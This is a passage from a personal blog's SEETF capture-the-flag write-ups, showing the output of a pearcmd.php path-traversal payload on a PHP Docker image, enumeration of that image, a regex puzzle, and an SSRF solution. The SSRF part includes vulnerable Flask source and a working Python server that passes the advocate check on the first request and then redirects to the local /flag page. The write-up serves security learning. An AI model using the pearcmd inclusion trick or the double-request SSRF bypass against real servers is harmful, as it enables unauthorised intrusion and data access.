s:72:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear";s:7:"man_dir";s:76:"/&page=../../../usr/local/lib/php/pearcmd.php&/SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}/pear/man";}    `.replace(/[^A-Za-z0-9!?]/g, ' ').trim();

    if (message) {
        let currIdx = 0;
        let messageLength = message.length;

        let parts = document.querySelectorAll('.lazarus-pit > div');
        for (let i = 0; i < parts.length; i++) {
            let partLength = parts[i].innerHTML.length;

            parts[i].innerHTML = '';

            for (let j = 0; j < partLength; j++) {
                parts[i].innerHTML += message[currIdx % messageLength];
                currIdx++;
            }
        }
    }
</script>
(base) [hacker@hackerbook tmp]$

How you could have potentially found out in the CTF

Looking at the eventual flag, I realised that we could have discovered the exploit without relying on other people exploit.

Firstly, since this is a PHP web application, and CTFs generally used docker images, we could have inferred that a php container was used.

I firstly tried to download the container.

┌──(kali㉿kali)-[~/Documents/Notes/SEETF/username_gen]
└─$ sudo docker run -it php bash
[sudo] password for kali: 
Unable to find image 'php:latest' locally
latest: Pulling from library/php
42c077c10790: Pull complete 
8934009a9160: Pull complete 
5357ac116991: Pull complete 
54ae63894b5a: Pull complete 
72281f038a08: Pull complete 
9fd1b94317fe: Pull complete 
00012d9e2ea5: Pull complete 
2c220aff91be: Pull complete 
48cfe9bf9b47: Pull complete 
Digest: sha256:578dc5919121a9950174a1aa59d00815de87c767451320a527261763eafab8f0
Status: Downloaded newer image for php:latest
root@f869105b6e8b:/# ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@f869105b6e8b:/# cd /usr/local/lib/php/

We could then enumerate for php files. You can notice that pearcmd.php is inside, which could lead to an exploit.

root@f869105b6e8b:/# find -name "*.php"
./usr/local/lib/php/OS/Guess.php
./usr/local/lib/php/doc/XML_Util/examples/example.php
./usr/local/lib/php/doc/XML_Util/examples/example2.php
./usr/local/lib/php/Structures/Graph.php
./usr/local/lib/php/Structures/Graph/Manipulator/AcyclicTest.php
./usr/local/lib/php/Structures/Graph/Manipulator/TopologicalSorter.php
./usr/local/lib/php/Structures/Graph/Node.php
./usr/local/lib/php/Archive/Tar.php
./usr/local/lib/php/PEAR/Config.php
./usr/local/lib/php/PEAR/DependencyDB.php
./usr/local/lib/php/PEAR/Dependency2.php
./usr/local/lib/php/PEAR/Command.php
./usr/local/lib/php/PEAR/Proxy.php
./usr/local/lib/php/PEAR/PackageFile.php
./usr/local/lib/php/PEAR/REST.php
./usr/local/lib/php/PEAR/Downloader/Package.php
./usr/local/lib/php/PEAR/Validate.php
./usr/local/lib/php/PEAR/Builder.php
./usr/local/lib/php/PEAR/Validator/PECL.php
./usr/local/lib/php/PEAR/Command/Config.php
./usr/local/lib/php/PEAR/Command/Remote.php
./usr/local/lib/php/PEAR/Command/Auth.php
./usr/local/lib/php/PEAR/Command/Test.php
./usr/local/lib/php/PEAR/Command/Mirror.php
./usr/local/lib/php/PEAR/Command/Pickle.php
./usr/local/lib/php/PEAR/Command/Registry.php
./usr/local/lib/php/PEAR/Command/Build.php
./usr/local/lib/php/PEAR/Command/Channels.php
./usr/local/lib/php/PEAR/Command/Install.php
./usr/local/lib/php/PEAR/Command/Package.php
./usr/local/lib/php/PEAR/Command/Common.php
./usr/local/lib/php/PEAR/Downloader.php
./usr/local/lib/php/PEAR/Task/Unixeol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript.php
./usr/local/lib/php/PEAR/Task/Replace/rw.php
./usr/local/lib/php/PEAR/Task/Replace.php
./usr/local/lib/php/PEAR/Task/Windowseol.php
./usr/local/lib/php/PEAR/Task/Postinstallscript/rw.php
./usr/local/lib/php/PEAR/Task/Unixeol/rw.php
./usr/local/lib/php/PEAR/Task/Windowseol/rw.php
./usr/local/lib/php/PEAR/Task/Common.php
./usr/local/lib/php/PEAR/Frontend/CLI.php
./usr/local/lib/php/PEAR/Installer/Role.php
./usr/local/lib/php/PEAR/Installer/Role/Php.php
./usr/local/lib/php/PEAR/Installer/Role/Script.php
./usr/local/lib/php/PEAR/Installer/Role/Man.php
./usr/local/lib/php/PEAR/Installer/Role/Data.php
./usr/local/lib/php/PEAR/Installer/Role/Src.php
./usr/local/lib/php/PEAR/Installer/Role/Cfg.php
./usr/local/lib/php/PEAR/Installer/Role/Test.php
./usr/local/lib/php/PEAR/Installer/Role/Www.php
./usr/local/lib/php/PEAR/Installer/Role/Doc.php
./usr/local/lib/php/PEAR/Installer/Role/Ext.php
./usr/local/lib/php/PEAR/Installer/Role/Common.php
./usr/local/lib/php/PEAR/XMLParser.php
./usr/local/lib/php/PEAR/Frontend.php
./usr/local/lib/php/PEAR/ChannelFile/Parser.php
./usr/local/lib/php/PEAR/ChannelFile.php
./usr/local/lib/php/PEAR/Registry.php
./usr/local/lib/php/PEAR/ErrorStack.php
./usr/local/lib/php/PEAR/Exception.php
./usr/local/lib/php/PEAR/REST/13.php
./usr/local/lib/php/PEAR/REST/10.php
./usr/local/lib/php/PEAR/REST/11.php
./usr/local/lib/php/PEAR/PackageFile/v2/Validator.php
./usr/local/lib/php/PEAR/PackageFile/v2/rw.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v1.php
./usr/local/lib/php/PEAR/PackageFile/Generator/v2.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v1.php
./usr/local/lib/php/PEAR/PackageFile/Parser/v2.php
./usr/local/lib/php/PEAR/PackageFile/v1.php
./usr/local/lib/php/PEAR/PackageFile/v2.php
./usr/local/lib/php/PEAR/Installer.php
./usr/local/lib/php/PEAR/RunTest.php
./usr/local/lib/php/PEAR/Common.php
./usr/local/lib/php/PEAR/Packager.php
./usr/local/lib/php/Console/Getopt.php
./usr/local/lib/php/XML/Util.php
./usr/local/lib/php/test/XML_Util/tests/ApiVersionTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagFromArrayTests.php
./usr/local/lib/php/test/XML_Util/tests/AttributesToStringTests.php
./usr/local/lib/php/test/XML_Util/tests/RaiseErrorTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21177Tests.php
./usr/local/lib/php/test/XML_Util/tests/Bug5392Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateTagTests.php
./usr/local/lib/php/test/XML_Util/tests/GetXmlDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCDataSectionTests.php
./usr/local/lib/php/test/XML_Util/tests/GetDocTypeDeclarationTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug21184Tests.php
./usr/local/lib/php/test/XML_Util/tests/AbstractUnitTests.php
./usr/local/lib/php/test/XML_Util/tests/IsValidNameTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug4950Tests.php
./usr/local/lib/php/test/XML_Util/tests/CreateStartElementTests.php
./usr/local/lib/php/test/XML_Util/tests/ReverseEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/SplitQualifiedNameTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateCommentTests.php
./usr/local/lib/php/test/XML_Util/tests/CreateEndElementTests.php
./usr/local/lib/php/test/XML_Util/tests/Bug18343Tests.php
./usr/local/lib/php/test/XML_Util/tests/ReplaceEntitiesTests.php
./usr/local/lib/php/test/XML_Util/tests/CollapseEmptyTagsTests.php
./usr/local/lib/php/test/Structures_Graph/tests/AcyclicTestTest.php
./usr/local/lib/php/test/Structures_Graph/tests/TopologicalSorterTest.php
./usr/local/lib/php/test/Structures_Graph/tests/AllTests.php
./usr/local/lib/php/test/Structures_Graph/tests/BasicGraphTest.php
./usr/local/lib/php/pearcmd.php
./usr/local/lib/php/peclcmd.php
./usr/local/lib/php/build/gen_stub.php
./usr/local/lib/php/build/run-tests.php
./usr/local/lib/php/System.php
./usr/local/lib/php/PEAR.php
root@f869105b6e8b:/#

We could locate the file we used in the exploit.

root@f869105b6e8b:/usr/local/lib/php# ls
Archive  Console  OS  PEAR  PEAR.php  Structures  System.php  XML  build  data  doc  extensions  pearcmd.php  peclcmd.php  test
root@f869105b6e8b:/usr/local/lib/php#

Furthermore, register_argc_argv is On, which is needed for the pearcmd.php exploit

This challenge taught me to look deeper, look at all parts of the infrastructure, instead of just being focused on specific techniques.

Flags

SEE{2nd_fl4g_n33ds_RCE_g00d_luck_h4x0r}
SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}

Misc - Regex101

image.png

Solution

I copied the text file to http://regexr.com, and used it to find the flag.

My regex expression SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}} is quite straightforward and can be explained by regexr

image.png

Flag

SEE{RGSXG13841KLWIUO}

Others - SSRF

I only solved this after the CTF (using reference), but basically, looking at the source code

from flask import Flask, request, render_template
import os
import advocate
import requests

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']

        # Prevent SSRF
        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)
        return render_template('index.html', result=r.text)

    return render_template('index.html')


@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('forbidden.html'), 403


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, threaded=True)

You notice these lines. The advocate.get and requests.get means that the web server is called twice. advocate is protected against SSRF (you can google more about the python library), but requests isn't. If only I actually read the last line in the CTF...

        try:
            advocate.get(url)

        except:
            return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")

        r = requests.get(url)

Hence the goal is to create a web server where the first request bypasses advocate, but the 2nd request can redirect the client to the desired webpage, in this case /flag which can only be accessed locally.

Here is my code

# Python 3 server example
# Copied from https://pythonbasics.org/webserver/ with minor edits
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080


count = 0

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        global count 
        if count == 0:
            self.option1()
            count += 1
        else:
            self.option2()

    def option1(self): # Bypass advocate on first request
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(bytes("<html><head><title>https://pythonbasics.org</title></head>", "utf-8"))
        self.wfile.write(bytes("<p>Request: %s</p>" % self.path, "utf-8"))
        self.wfile.write(bytes("<body>", "utf-8"))
        self.wfile.write(bytes("<p>This is an example web server.</p>", "utf-8"))
        self.wfile.write(bytes("</body></html>", "utf-8"))

    def option2(self): # redirect
       self.send_response(301)
       self.send_header('Location','http://localhost/flag')
       self.end_headers()

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

I used ngrok to tunnel this web server, and submit the nrgok url to get the flag.

0
Subscribe to my newsletter

Read articles from Terence Chan Zun Mun directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Terence Chan Zun Mun
Terence Chan Zun Mun